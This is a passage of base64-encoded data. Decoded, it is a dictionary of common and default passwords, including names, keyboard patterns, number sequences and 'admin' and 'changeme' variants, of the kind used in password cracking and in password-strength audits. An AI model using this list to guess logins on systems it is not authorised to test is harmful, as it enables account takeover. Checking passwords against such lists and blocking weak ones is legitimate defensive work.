mZ1enoNCmdhYmJ5DQpnYWJ5DQpnYWVsaWMNCmdhbWJsZXINCmdhbWVzDQpnYW1tYXBoaQ0KZ2FyY2lhDQpnYXJmdW5rZWwNCmdhcnRoDQpnYXJ5DQpnYXN0b24NCmdhdGV3YXkNCmdhdGV3YXkyDQpnYXRvcjENCmdlb3JnZTENCmdlb3JnaWENCmdlcm1hbg0KZ2VybWFueTENCmdldG91dA0KZ2dlb3JnZQ0KZ2hvc3QNCmdpYmJvbnMNCmdpYnNvbg0KZ2lnaQ0KZ2lsZ2FtZXNoDQpnaXNlbGxlDQpnbGlkZXIxDQpnbW9uZXkNCmdvYXQNCmdvYmxpbg0KZ29ibHVlDQpnb2RpdmENCmdvZXRoZQ0KZ29maXNoDQpnb2xsdW0NCmdvbmUNCmdvb2QNCmdyYW1wcw0KZ3JhbmRtYQ0KZ3JhdmlzDQpncmF5DQpncmVlZA0KZ3JlZw0KZ3JlZzENCmdyZW1saW4NCmdyZXRhDQpncmV0emt5DQpncml6emx5DQpncnVtcHkNCmd1ZXNzDQpndWlkbw0KZ3VpdGFyMQ0KZ3VtYnkNCmd1c3Rhdm8NCmgyb3BvbG8NCmhhZ2dpcw0KaGFoYQ0KaGFpbGV5DQpoYWwNCmhhbGxvd2Vlbg0KaGFsbG93ZWxsDQpoYW1pZA0KaGFtaWx0b24NCmhhbWxldA0KaGFuaw0KaGFubmENCmhhbnNvbg0KaGFwcHkxMjMNCmhhcHB5ZGF5DQpoYXJkY29yZQ0KaGFybGV5MQ0KaGFybw0KaGFycmlldA0KaGFycmlzDQpoYXJ2YXJkDQpoYXdrDQpoYXdrZXllMQ0KaGVhbHRoDQpoZWFsdGgxDQpoZWFydA0KaGVhdGhlcjENCmhlYXRoZXIyDQpoZWRnZWhvZw0KaGVpa2tpDQpoZWxlbmUNCmhlbGxvMQ0KaGVsbG8xMjMNCmhlbGxvOA0KaGVsbG9oZWxsbw0KaGVscDEyMw0KaGVscGVyDQpoZXJtZXMNCmhleXRoZXJlDQpoaWdobGFuZA0KaGlsZGENCmhpbGxhcnkNCmhpc3RvaXJlDQpoaXN0b3J5DQpoaXRsZXINCmhvYmJlcw0KaG9saWRheQ0KaG9sbHkNCmhvbWVyag0KaG9uZGExDQpob25na29uZw0KaG9vc2llcg0KaG9vdGllDQpob3BlDQpob3JzZQ0KaG9zZWhlYWQNCmhvdHJvZA0KaHVhbmcNCmh1ZHNvbg0KaHVnaA0KaHVnbw0KaHVtbWVyDQpodXNraWVzDQpoeWRyb2dlbg0KaQ0KaWI2dWI5DQppZGlvdA0KaWY2d2FzOQ0KaWZvcmdldA0KaWxtYXJpDQppbG92ZXUNCmltcGFjdA0KaW5kb25lc2lhDQppbmd2YXINCmluc2lnaHQNCmluc3RydWN0DQppbnRlZ3JhbA0KaW9tZWdhDQppcmluYQ0KaXJpcw0KaXJtZWxpDQppc2FiZWxsZQ0KaXNyYWVsDQppdGFsaWENCml0YWx5DQppenp5DQpqMGtlcg0KajFsMnQzDQpqYWNraWUxDQpqYWNvYg0KamFrZXkNCmphbWVzMQ0KamFtZXNib25kDQpqYW1pZQ0KamFtamFtDQpqYW4NCmphenoNCmplYW4NCmplZGkNCmplZXBzdGVyDQpqZWZmcmV5MQ0KamVubmllDQpqZW5ueQ0KamVuc2VuDQpqZXINCmplc3NlDQpqZXNzZTENCmplc3Rlcg0KamV0aHJvDQpqZXR0YTENCmppbWJvYg0KamltaQ0KamltbXkNCmpvYW5pZQ0Kam9hbm5hDQpqb2VsbGUNCmpvaG4zMTYNCmpvcmRpZQ0Kam9yZ2UNCmpvc2VlDQpqb3NoDQpqb3VybmV5DQpqb3kNCmpveWNlDQpqdWJpbGVlDQpqdWhhbmkNCmp1bGVzDQpqdWxpYTINCmp1bGllbg0KanVsaWV0DQpqdW1ibw0KanVtcA0KanVuZWJ1Zw0KanVuaXBlcg0KanVzdGRvaXQNCmp1c3RpY2U0DQprYWxhbWF6bw0Ka2FsaQ0Ka2FyaW4NCmthcmluZQ0Ka2FybWENCmthdA0Ka2F0ZQ0Ka2F0ZXJpbmENCmthdGllDQprYXRpZTENCmtheWxhDQprY2luDQprZWVwZXINCmtlbGxlcg0Ka2VuZGFsbA0Ka2VubnkNCmtlcmFsYQ0Ka2VycnlhDQprZXRjaHVwDQpraGFuDQpraWRzDQpraW5ncw0Ka2lzc2EyDQpraXNzbWUNCmtpdHRlbg0Ka2l0dHljYXQNCmtpd2kNCmtra2traw0Ka2xlZW5leA0Ka29tYmF0DQprcmlzdGkNCmtyaXN0aW5lDQpsYWIxDQpsYWJ0ZWMNCmxhZGRpZQ0KbGFkeWJ1Zw0KbGFtZXINCmxhbmNlDQpsYXNlcg0KbGFzZXJqZXQNCmxhc3NpZTENCmxhdXJlbA0KbGF3c29uDQpsZWFkZXINCmxlYWYNCmxlYmxhbmMNCmxlZ2FsDQpsZWxhbmQNCmxlbW9uDQpsZW8NCmxlc3Rlcg0KbGV0dGVyDQpsZXR0ZXJzDQpsZXYNCmxleHVzMQ0KbGlicmENCmxpZmUNCmxpZ2h0cw0KbGltYQ0KbGlvbmVsDQpsaW9ucw0KbGlzc2Fib24NCmxpdHRsZQ0KbGl6DQpsaXp6eQ0KbG9nZ2VyDQpsb2dvcw0KbG9pc2xhbmUNCmxva2kNCmxvbGl0YQ0KbG9uZXN0YXINCmxvbmdlcg0KbG9uZ2hvcm4NCmxvb25leQ0KbG9yZW4NCmxvcmkNCmxvcm5hDQpsb3Nlcg0KbG9zdA0KbG90dXMNCmxvdQ0KbG92ZXJzDQpsb3ZleW91DQpsdWNpYQ0KbHVjaWZlcg0KbHVja3kxNA0KbWFjaGENCm1hY3Jvc3MNCm1hY3NlMzANCm1hZGRpZQ0KbWFkbWF4DQptYWRva2ENCm1hZ2ljMQ0KbWFnbnVtDQptYWlkZW4NCm1haW5lDQptYWtlaXRzbw0KbWFsbGFyZA0KbWFuYWdlbWUNCm1hbnNvbg0KbWFudWVsDQptYXJjDQptYXJjdXMNCm1hcmlhDQptYXJpZWxsZQ0KbWFyaW5lDQptYXJpbm8NCm1hcnNoYWxsDQptYXJ0DQptYXJ0aGENCm1hdGgNCm1hdHRpMQ0KbWF0dGluZ2x5DQptYXhtYXgNCm1lYXRsb2FmDQptZWNoDQptZWNoYW5pYw0KbWVkaWNhbA0KbWVnYW4NCm1laXN0ZXINCm1lbGluYQ0KbWVtcGhpcw0KbWVyY2VyDQptZXJkZQ0KbWVybWFpZA0KbWVycmlsbA0KbWlhbWkNCm1pY2hhbA0KbWljaGVsDQptaWNoaWdhbg0KbWljaG91DQptaWNrZWwNCm1pY2tleTENCm1pY3Jvc29mdA0KbWlkdmFsZQ0KbWlrYWVsDQptaWxhbm8NCm1pbGVzDQptaWxsZW5pdW0NCm1pbGxpb24NCm1pbm91DQptaXJhbmRhDQptaXJpYW0NCm1pc3Npb24NCm1tbW1tbQ0KbW9iaWxlDQptb2J5ZGljaw0KbW9kZW0NCm1vam8NCm1vbmtleTENCm1vbnJvZQ0KbW9udGFuYQ0KbW9udGFuYTMNCm1vbnRyb3NlDQptb250eQ0KbW9vbW9vDQptb29uYmVhbQ0KbW9yZWNhdHMNCm1vcnBoZXVzDQptb3Rvcg0KbW90b3JvbGENCm1vdmllcw0KbW93Z2xpDQptb3phcnQNCm11bGRlcjENCm11bmNoa2luDQptdXJyYXkNCm11c2NsZQ0KbXVzdGFuZzENCm5hZGlhDQpuYWRpbmUNCm5hcG9sZW9uDQpuYXRpb24NCm5hdGlvbmFsDQpuZWlsDQpuZWtvDQpuZXNiaXQNCm5lc3RsZQ0KbmV1dHJpbm8NCm5ld2FjY291bnQNCm5ld2xpZmUNCm5ld3lvcmsxDQpuZXh1czYNCm5pY2hvbGUNCm5pY2tsYXVzDQpuaWdodHNoYWRvdw0KbmlnaHR3aW5kDQpuaWtlDQpuaWtpdGENCm5pa2tpDQpuaW50ZW5kbw0Kbmlzc2UNCm5va2lhDQpub21vcmUNCm5vbmUxDQpub3Bhc3MNCm5vcm1hbA0Kbm9ydG9uDQpub3R0YTENCm5vdXZlYXUNCm5vdmVsbA0Kbm93YXkNCm51Z2dldA0KbnVtYmVyOQ0KbnVtYmVycw0KbnVyc2UNCm51dG1lZw0Kb2F4YWNhDQpvYml3YW4NCm9ic2Vzc2lvbg0Kb2hzaGl0DQpvaWN1ODEyDQpvbWVnYQ0Kb3BlbnVwDQpvcmNoaWQNCm9yZW8NCm9ybGFuZG8NCm9ydmlsbGUNCm90dGVyDQpvenp5DQpwYWFnYWwNCnBhY2thcmQNCnBhY2tlcnMNCnBhY2tyYXQNCnBhaW50DQpwYWxvbWENCnBhbQ0KcGFuY2FrZQ0KcGFuaWMNCnBhcGENCnBhcmFkaWdtDQpwYXJrDQpwYXJvbGENCnBhcnJvdA0KcGFydG5lcg0KcGFzY2FsDQpwYXNzDQpwYXRjaGVzDQpwYXRyaW90cw0KcGF1bGENCnBhdWxpbmUNCnBhdmVsDQpwYXl0b24NCnBlYWNoDQpwZWFudXRzDQpwZWRybzENCnBlZ2d5DQpwZWtrYQ0KcGVyZmVjdA0KcGVyZm9ybWENCnBlcnJ5DQpwZXRlcmsNCnBldGVycGFuDQpwaGlhbHBoYQ0KcGhpbGlwcw0KcGhpbGxpcHMNCnBoaXNoeQ0KcGhvbmUNCnBpYW5vMQ0KcGlhbm9tYW4NCnBpYW5vcw0KcGllcmNlDQpwaWdlb24NCnBpbmsNCnBpb25lZXINCnBpcGVsaW5lDQpwaXBlcjENCnBpcmF0ZQ0KcGlzY2VzDQpwbGF0bw0KcGxheQ0KcGxheWJveQ0KcGx1dG8NCnBvZXRpYw0KcG9ldHJ5DQpwb2xlDQpwb250aWFjDQpwb29rZXkNCnBvcGUNCnBvcGV5ZQ0KaGF5aGF5DQpoYXloYXkxMjE0DQpwcmF5ZXINCnByZWNpb3VzDQpwcmVsdWRlDQpwcmVtaWVyDQpwcmludA0KcHJpbnRpbmcNCnByb2YNCnByb3ZpZGVyDQpwdWRkaW4NCnB1bHNhcg0KKioqKioNCnB1c3N5MQ0KcHlybw0KcXFxMTExDQpxdWViZWMNCnF3ZXINCnF3ZXJ0DQpxd2VydHkxMg0KcXdlcnR5dWkNCnIwZ2VyDQpyYWJiaXQxDQpyYWNlcg0KcmFjZXJ4DQpyYWNoZWxsZQ0KcmFjb29uDQpyYWRhcg0KcmFmaWtpDQpyYWxlaWdoDQpyYW0NCnJhbWJvDQpyYW5keTENCnJhc3RhMQ0KcmF0aW8NCnJhdmVucw0KcmVkY2xvdWQNCnJlZGZpc2gNCnJlZG1hbg0KcmVkc2tpbnMNCnJlZHdpbmcNCnJlZHdvb2QNCnJlZWQNCnJlZ2dhZQ0KcmVnZ2llDQpyZWxpYW50DQpyZW5lDQpyZW5lZQ0KcmVuZWdhZGUNCnJlc2N1ZQ0KcmV2b2x1dGlvbg0KcmV4DQpyZXpub3INCnJoaW5vDQpyaGpyamxiaw0KcmljaGFyZDENCnJpY2hhcmRzDQpyaWNobW9uZA0KcmlsZXkNCnJpcHBlcg0KcmlwcGxlDQpyaXRhDQpyb2JieQ0Kcm9iZXJ0cw0Kcm9ib2NvcA0Kcm9ib3RpY3MNCnJvY2hlDQpyb2NrDQpyb2NrZXQxDQpyb2NraWUNCnJvY2tvbg0Kcm9nZXIxDQpyb2dlcnMNCnJvbGFuZA0Kcm9tbWVsDQpyb25pDQpyb29raWUNCnJvb3RiZWVyDQpyb3NpZQ0Kcm9zc2lnbm8NCnJ1ZnVzDQpydWdnZXINCnJ1c2gNCnJ1c3R5DQpydXRobGVzcw0Kc2FiYmF0aA0Kc2FiaW5hDQpzYWZldHkNCnNhZmV0eTENCnNhaWdvbg0Kc2FpbnQNCnNhbUlhbQ0Kc2FtaWFtDQpzYW1taWUNCnNhbW15DQpzYW1zYW0NCnNhbmRpDQpzYW5qb3NlDQpzYXBoaXJlDQpzYXJhaDENCnNhc2tpYQ0Kc2Fzc3kNCnNhdG9yaQ0Kc2F0dXJkYXkNCnNhdHVybjUNCnNjaG5hcHBzDQpzY2llbmNlDQpzY29vYnkNCnNjb29ieWRvbw0Kc2Nvb3RlcjENCnNjb3JwaW9uDQpzY290Y2gNCnNjb3R0eQ0Kc2NvdXRzDQpzY3ViYQ0Kc2VhcmNoDQpzZWNyZXQzDQpzZWVrZXINCnNlb3VsDQpzZXB0ZW1iZXINCnNlcnZlcg0Kc2VydmljZXMNCnNldmVuNw0KKioqDQpzZXh5DQpzZXh5MTIzDQpzaGFnZ3kNCnNoYW5naGFpDQpzaGFubnkNCnNoYW9saW4NCnNoYXN0YQ0Kc2hheW5lDQpzaGF6YW0NCnNoZWxseQ0Kc2hlbHRlcg0Kc2hlcnJ5DQpzaGlwDQpzaGlybGV5DQpzaG9ydHkNCnNob3RndW4NCnNpZG5leQ0Kc2lnbWFjaGkNCnNpZ25hbA0Kc2lnbmF0dXJlDQpzaW1iYTENCnNpbXNpbQ0Kc2luYXRyYQ0Kc2lyaXVzDQpza2F0ZQ0Kc2tpcA0Kc2tpcHBlcjENCnNreWRpdmUNCnNreWxlcg0Kc2xheWVyDQpzbGVlcHkNCnNsaWNrDQpzbGlkZXINCnNsaXANCnNtZWdtYQ0Kc21pbGUxDQpzbWl0aHMNCnNtaXR0eQ0Kc21va2UNCnNtdXJmeQ0Kc25ha2VzDQpzbmFwcGVyDQpzbm9vcA0Kc25vdw0Kc29iZXIxDQpzb2xvbW9uDQpzb25pY3MNCnNvbnkNCnNvcGhpYQ0Kc3BhY2UNCnNwYXJrcw0Kc3BhcnRhbg0Kc3BhenoNCnNwaHlueA0Kc3Bpa2UxDQpzcG9jaw0Kc3BvbmdlDQpzcG9vbg0Kc3BvdA0Kc3Byb2NrZXQNCnNwdXJzDQpzcXVhc2gNCnN0YW4NCnN0YXJidWNrDQpzdGFyZ2F0ZQ0Kc3RhcmxpZ2h0DQpzdGFycw0Kc3RlZWwNCnN0ZXBoMQ0Kc3RlcGhpDQpzdGV2ZTENCnN0ZXZlbnMNCnN0ZXdhcnQNCnN0aW5nDQpzdGl2ZXJzDQpzdG9ja3MNCnN0b25lDQpzdG9yYWdlDQpzdHJhbmdlcg0Kc3RyYXQNCnN0cmF0bw0Kc3RyZXRjaA0Kc3Ryb25nDQpzdHVkDQpzdHVkZW50Mg0Kc3R1ZGlvDQpzdHVtcHkNCnN1Y2tlcg0Kc3Vja21lDQpzdWUNCnN1bHRhbg0Kc3VtbWl0DQpzdW5maXJlDQpzdW5zZXQNCnN1cGVyDQpzdXBlcnN0YXINCnN1cmZpbmcNCnN1c2FuMQ0Kc3VzYW5uYQ0Kc3V0dG9uDQpzdXp5DQpzd2Fuc29uDQpzd2VkZW4NCnN3ZWV0cGVhDQpzd2VldHkNCnN3aW0NCnN3aXR6ZXINCnN3b3JkZmlzaA0Kc3lzdGVtNQ0KdC1ib25lDQp0YWINCnRhYmF0aGENCnRhY29iZWxsDQp0YWl3YW4NCnRhbG9uDQp0YW10YW0NCnRhbm5lcg0KdGFwYW5pDQp0YXJnYXMNCnRhcmdldA0KdGFyaGVlbA0KdGFzaGENCnRhdGENCnRhdHRvbw0KdGF6ZGV2aWwNCnRlcXVpbGENCnRlcnJ5MQ0KdGVzdDINCnRlc3QzDQp0ZXN0ZXINCnRlc3RpDQp0ZXN0dGVzdA0KdGV4YXMNCnRoYW5reW91DQp0aGVlbmQNCnRoZWxvcmF4DQp0aGlzaXNpdA0KdGhvbXBzb24NCnRob3JuZQ0KdGhyYXNoZXINCnRpZ2VyMg0KdGlnaHRlbmQNCnRpa2ENCnRpbQ0KdGltYmVyDQp0aW1vdGh5DQp0aW5rZXJiZWxsDQp0bnQNCnRvbQ0KdG9vbA0KdG9wY2F0DQp0b3BoZXINCnRvc2hpYmENCnRvdGFsDQp0b3RvMQ0KdG90b3RvDQp0b3VjYW4NCnRyYW5zZmVyDQp0cmFuc2l0DQp0cmFuc3BvcnQNCnRyYXBwZXINCnRyYXNoDQp0cmF2aXMNCnRyZQ0KdHJlYXN1cmUNCnRyZWVzDQp0cmlja3kNCnRyaXNoDQp0cml0b24NCnRyb21ib25lDQp0cm9waHkNCnRyb3VibGUNCnRydWNrZXINCnR1Y3Nvbg0KdHVsYQ0KdHVyYm8NCnR1cmJvMg0KdHdpbnMNCnR5bGVyMQ0KdWx0aW1hdGUNCnVuaXF1ZQ0KdW5pdGVkDQp1bml0eQ0KdW5peA0KdXBzaWxvbg0KdXJzdWxhDQp1c2VyMQ0KdmFjYXRpb24NCnZhbGxleQ0KdmFtcGlyZQ0KdmFuZXNzYQ0KdmVkZGVyDQp2ZWxvDQp2ZW5pY2UNCnZlbnVzDQp2ZXJtb250DQp2ZXR0ZQ0Kdmlja2kNCnZpY2t5DQp2aWN0b3IxDQp2aWtyYW0NCnZpbmNlbnQxDQp2aW9sZXQNCnZpb2xpbg0KdmlyYWdvDQp2aXJnaWwNCnZpcmdpbmlhDQp2aXNpb24NCnZpc3VhbA0Kdm9sY2Fubw0Kdm9sbGV5DQp2b29kb28NCnZvcnRleA0Kd2FpdGluZw0Kd2FsZGVuDQp3YWxkbw0Kd2FsbGV5ZQ0Kd2Fua2VyDQp3YXJuZXINCndhdGVyMQ0Kd2F5bmUxDQp3ZWJtYXN0ZXINCndlYnN0ZXINCndlZGdlDQp3ZWV6ZXINCndlbmR5MQ0Kd2VzdGVybg0Kd2hhbGUxDQp3aGl0DQp3aGl0ZQ0Kd2hpdG5leQ0Kd2hvY2FyZXMNCndob3ZpbGxlDQp3aWJibGUNCndpbGRjYXQNCndpbGwNCndpbGxpYW0xDQp3aWxtYQ0Kd2luZA0Kd2luZG93DQp3aW5uaWV0aGVwb29oDQp3b2xmZ2FuZw0Kd29sdmVyaW5lDQp3b21iYXQxDQp3b25kZXINCndvcmQNCndvcmxkDQp4LWZpbGVzDQp4LW1lbg0KeGFudGgNCnh4eDEyMw0KeHh4eHh4eHgNCnh5eg0KeWFtYWhhDQp5YW5rZWUNCnlvZ2liZWFyDQp5b2xhbmRhDQp5b21hbWENCnl2ZXR0ZQ0KemFjaGFyeQ0KemFjaw0KemVicmFzDQp6ZXBwbGluDQp6b2x0YW4NCnpvb21lcg0KenhjDQp6eGN2Ym4NCiFAIyQlXiYNCjAwMDAwMDAwDQoxMjEyMTINCjEyMzRxd2VyDQoxMjNnbw0KMTMxMzEzDQoxMzU3OQ0KMTcwMWQNCjIxMTIyMTEyDQozNjkNCjU1NTUNCjgwNDg2DQo5MDIxMA0KOTExDQo5OTk5OTk5OQ0KQCMkJV4mDQpBQkMxMjMNCkFiY2RlZg0KQXNkZmdoDQpDYXNpbw0KQ2hhbmdlbWUNCkZ1Y2tZb3UNCkZ1Y2t5b3UNCkdpem1vDQpIZWxsbw0KSlNCYWNoDQpNaWNoZWwNCk5DQzE3MDENClBQUA0KUXdlcnQNClF3ZXJ0eQ0KV2luZG93cw0KWnhjdmINClp4Y3Zibm0NCmFjdGlvbg0KYWR2aWwNCmFsbG8NCmFtZWxpZQ0KYW5hY29uZGENCmFuZ3VzDQphcG9sbG8xMw0KYXJ0aXN0DQphc3Blbg0KYXNzDQphc3Nob2xlDQphdGgNCmJlbm9pdA0KYmVybmFyZA0KYmVybmllDQpiaWdiaXJkDQpiaXJkDQpibGl6emFyZA0KYmx1ZXNreQ0KYm9uam91cg0KYm9vc3Rlcg0KYnl0ZW1lDQpjYWVzYXINCmNhcmRpbmFsDQpjYXJvbGluYQ0KY2F0cw0KY2VkaWMNCmNlc2FyDQpjaGFuZGxlcg0KY2hhbmdlaXQNCmNoYXBtYW4NCmNoYXJsaWUxDQpjaGV2eQ0KY2hpcXVpdGENCmNob2NvbGF0DQpjaHJpc3RpYQ0KY2hyaXN0b3BoDQpjbGFzc3Jvb20NCmNsb2Nsbw0KY29jbw0KY29ycmFkbw0KY291Z2Fycw0KY291cnRuZXkNCmRhc2hhDQpkZW1vDQpkaXJrDQpkb2xwaGlucw0KZG9taW5pYw0KZG9ua2V5DQpkb29tMg0KZHVzdHkNCmUNCmVuZXJneQ0KZmVhcmxlc3MNCmZpY3Rpb24NCmZvcmVzdA0KZnJlbmNoMQ0KZnViYXINCmdhdG9yDQpnaWxsZXMNCmdsZW5uDQpnbw0KZ29jb3Vncw0KZ29vZC1sdWNrDQpncmF5bWFpbA0KZ3Vpbm5lc3MNCmhpbGJlcnQNCmhvbGENCmhvbWUNCmhvbWVicmV3DQpob3Rkb2cNCmluZGlhbg0KamFyZWQNCmppbWJvDQpqa20NCmpvaG5zb24NCmpvam8NCmpvc2llDQpqdWR5DQprb2tvDQprcmlzdGluDQpsbG95ZA0KbG9ycmFpbmUNCmx1bHUNCmx5bm4NCm0xOTExYTENCm1hYw0KbWFjaW50b3NoDQptYWlsZXINCm1hcnMNCm1heGltZQ0KbWVtb3J5DQptZW93DQptaW1pDQptaXJyb3INCm5hdA0KbmUxNDEwcw0KbmUxNDY5DQpuZTE0YTY5DQpuZWJyYXNrYQ0KbmVtZXNpcw0KbmV0d29yaw0KbmV3Y291cnQNCm5pZ2VsDQpuaWtpDQpuaXRlDQpub3R1c2VkDQpvYXRtZWFsDQpwYXR0b24NCnBhdWwNCnBlZHJvDQpwbGFuZXQNCnBsYXllcnMNCnBvbGl0aWNzDQpwb21tZQ0KcG9ydGxhbmQNCnByYWlzZQ0KcHJvcGVydHkNCnByb3RlbA0KcHNhbG1zDQpxd2FzengNCnJhaWRlcnMNCnJhbWJvMQ0KcmFuY2lkDQpydXRoDQpzYWxlcw0Kc2FsdXQNCnNjcm9vZ2UNCnNoYXduDQpzaGVsbGV5DQpza2lkb28NCnNvZnRiYWxsDQpzcGFpbg0Kc3BlZWRvDQpzcG9ydHMNCnNzcw0Kc3Nzc3NzDQpzdGVlbGUNCnN0ZXBoDQpzdGVwaGFuaQ0Kc3VuZGF5DQpzdXJmDQpzeWx2aWUNCnN5bWJvbA0KdGlmZmFueQ0KdGlncmUNCnRvcm9udG8NCnRyaXhpZQ0KdW5kZWFkDQp2YWxlbnRpbg0KdmVsdmV0DQp2aWtpbmcNCndhbGtlcg0Kd2F0c29uDQp5b3VuZw0KemhvbmdndW8NCm15c3BhY2UxDQpibGluazE4Mg0KY2hhbmdlbWUgDQpwYXNzd29yZA0Kc3RhcnQNCmNvbXB1dGVyDQppbnRlcm5ldA0KaWhhdmVub3Bhc3MNCmdvZGJsZXNzeW91DQphZG1pbmlzdHJhdG9yDQpnb2JsdWUNCg0KIXJvb3QNCjANCjAwMDANCjAwMDAwMA0KMDAwMDAwMDANCjAwMDAwNw0KMDAwNw0KMDA3MDA3DQowMzExDQowNjYwDQowOTg3NjUNCjENCjEwMDAwMA0KMTAwMg0KMTAwNw0KMTAwOA0KMTAxMA0KMTAxMDEwDQoxMDExDQoxMDEzDQoxMDIwDQoxMDIzDQoxMDI0DQoxMDI2DQoxMDMxDQoxMTENCjExMTENCjExMTExDQoxMTExMTENCjExMTExMTExDQoxMTEyMjINCjExMjINCjExMjIzMw0KMTINCjEyMDkNCjEyMTINCjEyMTIxMg0KMTIxMw0KMTIxOA0KMTIyMQ0KMTIyMw0KMTIyNA0KMTIyNQ0KMTIyNw0KMTIzDQoxMjMwDQoxMjMxMjMNCjEyMzQNCjEyMzQ1DQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzRhZG1pbg0KMTIzYWJjDQoxMjNnbw0KMTMxMw0KMTMxMzEzDQoxMzU3DQoxMzY5DQoxNDE0DQoxNDkyDQoxNTE1DQoxNjYwDQoxNzAxDQoxNzE3DQoxODE4DQoxODE4MTgNCjE5MTkNCjE5MTkxOQ0KMTk0MQ0KMTk0Mw0KMTk0Ng0KMTk1MQ0KMTk1NA0KMTk1NQ0KMTk1Ng0KMTk1Nw0KMTk1OA0KMTk2MA0KMTk2MQ0KMTk2Mg0KMTk2Mw0KMTk2NA0KMTk2NQ0KMTk2Ng0KMTk2Nw0KMTk2OA0KMTk2OQ0KMTk3MA0KMTk3MQ0KMTk3Mg0KMTk3Mw0KMTk3NA0KMTk3NQ0KMTk3Ng0KMTk3Nw0KMTk3OQ0KMTk4MA0KMTk4NA0KMTk5OA0KMTk5OQ0KMXEydzNlDQoyDQoyMDAwDQoyMDAxDQoyMDAyDQoyMDIwDQoyMTEyDQoyMTEyMjExMg0KMjEyMQ0KMjEyMTIxDQoyMjIyDQoyMjIyMg0KMjIyMjIyDQoyMzIzDQoyMzIzMjMNCjIzNDUNCjI0MjQNCjI0MjQyNA0KMjQ2OA0KMjQ2ODEwDQoyNDY5DQoyNTI1DQoyNTI1MjUNCjI3MjcNCjI4MjgNCjMNCjMwMDYNCjMxMzEzMQ0KMzIxDQozMjMyDQozMjMyMzINCjMzMzMNCjM0MzQzNA0KNDEyOA0KNDIwNDIwDQo0MzIxDQo0NDQ0DQo0NDQ0NDQNCjQ1NDUNCjQ1NDU0NQ0KNDcxMQ0KNDk4OQ0KNHJ1bm5lcg0KNTE1MA0KNTI1Mg0KNTQzMjENCjU1NTUNCjU1NTU1DQo1NTU1NTUNCjU2NzgNCjY1NDMyMQ0KNjY2Ng0KNjY2NjY2DQo2OTY5DQo2OTY5NjkNCjY5Njk2OTY5DQo3Nzc3DQo3Nzc3Nw0KNzc3Nzc3DQo3Nzc3Nzc3DQo3Nzc3Nzc3Nw0KNzg5NDU2DQo4Njc1MzA5DQo4NzY1NDMyMQ0KODg4OA0KODg4ODg4DQo4ODg4ODg4OA0KOTg3Ng0KOTg3NjUNCjk4NzY1NA0KOTg5OA0KOTk5OQ0KOTk5OTk5DQpBRE1JTg0KQU5UT05JTw0KQWRtaW4NCkFkbWluaXN0YXRvcg0KQkVMTEENCkJPQVQNCkJSRVRUDQpCdWJiYQ0KQ0hJQ0tFTg0KQ09XQk9ZDQpDWU5USElBDQpDaGFtcA0KRGVtbw0KRG9wZQ0KRUFHTEUxDQpGVU5OWQ0KR0lHSQ0KR3JlYXQNCkhvcm55MQ0KSG93YXJkDQpKYWNrc29uDQpKdWxpZQ0KSnVzdGluDQpLSVNTDQpMYXVyZW4NCkxpbmRhDQpNYW5hZ2VyDQpNYXVyaWNlDQpNaW5lDQpNaXN0ZWUNCk1vbmRheQ0KUEFTU1dPUkQNClBBVUwNClBFTk5ZDQpQT1dFUlMNClBvb2tpZQ0KUXdlcnR5DQpSYWNoZWwNClJhbXMNClJhcHRvcg0KUm9uYWxkDQpTTUlMRQ0KU1BBTktZDQpTYWlsb3INClNjb29ieQ0KU2hlbGx5DQpTdG9uZQ0KVEVTVA0KVFJVTVBFVA0KVmlyZ2luaWENCldlYmINCldpbGxpYW1zDQphYWENCmFhYWENCmFhYWFhYQ0KYWFyZHZhcmsNCmFhcm9uDQphYmJ5DQphYmMxMjMNCmFiY2QNCmFiY2RlDQphYmNkZWYNCmFiY2RlZmcNCmFiY2RlZmdoDQphYmQyMzQNCmFiZ3J0eXUNCmFjY2Vzcw0KYWNjZXNzMTQNCmFjY29yZA0KYWN0aW9uDQphZGFtDQphZGlkYXMNCmFkbQ0KYWRtaW4NCmFkbWluaXN0YXRvcg0KYWRtbg0KYWRyaWFuDQphZ2Fpbg0KYWdnaWVzDQphaXJib3JuZQ0KYWlyYnVzDQphaXJmb3JjZQ0KYWlycGxhbmUNCmFsYWJhbWENCmFsYW4NCmFsYXNrYQ0KYWxiZXJ0DQphbGJlcnQNCmFsZXgNCmFsZXhhbmRlDQphbGV4aXMNCmFsZnJlZA0KYWxpY2UNCmFsaWNpYQ0KYWxpc29uDQphbGxlbg0KYWxsaXNvbg0KYWxwaGENCmFscGhhMQ0KYWx5c3NhDQphbWFkZXVzDQphbWFuZGENCmFtYXRldXINCmFtYmVyDQphbWVyaWNhDQphbmFsDQphbmFsc2V4DQphbmRlcnNvbg0KYW5kcmVhDQphbmRyZXcNCmFuZHkNCmFuZ2VsDQphbmdlbGENCmFuZ2Vscw0KYW5naWUNCmFuaW1hbA0KYW5pdGENCmFubmENCmFubmUNCmFubmllDQphbnRob255DQphcGFjaGUNCmFwb2xsbw0KYXBwbGUNCmFwcGxlcw0KYXByaWwNCmFyYWdvcm4NCmFyY2hlcg0KYXJpem9uYQ0KYXJsZW5lDQphcm5vbGQNCmFycm93DQphcnNlbmFsDQphcnRodXINCmFzZGYNCmFzZGZnDQphc2RmZ2gNCmFzZGZnaGprDQphc2hsZXkNCmFzcw0KYXNzZXMNCmFzc2hvbGUNCmFzc21hbg0KYXN0cm9zDQphdGhlbmENCmF0bGFudGENCmF1ZGkNCmF1ZHJleQ0KYXVndXN0DQphdXN0aW4NCmF2YWxvbg0KYXZhdGFyDQphemVyDQphemVydHkNCmJhYmUNCmJhYmVzDQpiYWJpZXMNCmJhYnkNCmJhYnlsb24NCmJhY2sNCmJhY2tkb29yDQpiYWNrdXANCmJhZGJhZA0KYmFkYm95DQpiYWRnZXINCmJhaWxleQ0KYmFrZXINCmJhbGwNCmJhbGxzDQpiYW1iYW0NCmJhbmFuYQ0KYmFuZGl0DQpiYW5rDQpiYW5zaGVlDQpiYXJiYXJhDQpiYXJiaWUNCmJhcmtsZXkNCmJhcm5leQ0KYmFyb24NCmJhcnJ5DQpiYXJ0DQpiYXNlDQpiYXNlYmFsbA0KYmFza2V0DQpiYXNzDQpiYXN0YXJkDQpiYXRtYW4NCmJheHRlcg0KYmJiYg0KYmJiYmJiDQpiZWFjaA0KYmVhZ2xlDQpiZWFuDQpiZWFyDQpiZWFycw0KYmVhc3QNCmJlYXRsZXMNCmJlYXV0eQ0KYmVhdmVyDQpiZWF2aXMNCmJlY2t5DQpiZWVyDQpiZWV0bGUNCmJlbGwNCmJlbGxlDQpiZW5qYW1pbg0KYmVubmV0dA0KYmVubmllDQpiZXJsaW4NCmJlc